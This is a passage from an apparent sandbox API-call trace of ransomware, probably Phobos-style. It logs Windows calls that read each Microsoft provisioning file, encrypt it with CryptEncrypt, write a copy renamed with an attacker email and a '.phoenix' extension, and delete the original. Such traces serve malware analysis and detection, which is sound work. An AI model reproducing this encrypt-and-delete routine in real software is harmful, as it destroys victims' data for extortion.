	[0247.886] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.886] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.886] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.886] CloseHandle (hObject=0x2e8) returned 1
	[0247.886] CloseHandle (hObject=0x2b4) returned 1
	[0247.887] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.888] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.888] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0247.888] CloseHandle (hObject=0x2b4) returned 1
	[0247.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.888] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.888] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.889] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0247.889] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.889] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0247.890] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0247.890] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.891] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0247.891] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.891] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.891] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.891] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.891] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.891] CloseHandle (hObject=0x2b4) returned 1
	[0247.891] CloseHandle (hObject=0x2e8) returned 1
	[0247.891] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.892] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.892] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.893] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=459) returned 1
	[0247.893] CloseHandle (hObject=0x2e8) returned 1
	[0247.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0247.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.893] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.893] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.893] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0247.893] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.893] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cb, lpOverlapped=0x0) returned 1
	[0247.894] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0247.894] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0247.895] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0247.895] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.895] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.895] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.895] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.895] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.895] CloseHandle (hObject=0x2e8) returned 1
	[0247.895] CloseHandle (hObject=0x2b4) returned 1
	[0247.895] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0247.896] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.897] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=456) returned 1
	[0247.897] CloseHandle (hObject=0x2b4) returned 1
	[0247.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0247.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.897] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.897] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.897] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151680) returned 1
	[0247.898] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.898] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c8, lpOverlapped=0x0) returned 1
	[0247.898] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0247.898] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0247.899] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0247.899] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.900] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0247.900] CryptDestroyKey (hKey=0x151780) returned 1
	[0247.900] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0247.900] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.900] CloseHandle (hObject=0x2b4) returned 1
	[0247.900] CloseHandle (hObject=0x2e8) returned 1
	[0247.900] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0247.901] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.903] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=858) returned 1
	[0247.903] CloseHandle (hObject=0x2e8) returned 1
	[0247.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.904] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.904] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.904] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.904] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.905] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0247.905] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.905] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x35a, lpOverlapped=0x0) returned 1
	[0247.915] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0247.915] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0247.916] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0247.916] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.916] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.916] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.916] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.916] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.916] CloseHandle (hObject=0x2e8) returned 1
	[0247.916] CloseHandle (hObject=0x2b4) returned 1
	[0247.916] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\339__Connections_Cellular_vodafone P (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\339__connections_cellular_vodafone p (portugal)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.917] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.917] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0247.917] CloseHandle (hObject=0x2b4) returned 1
	[0247.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
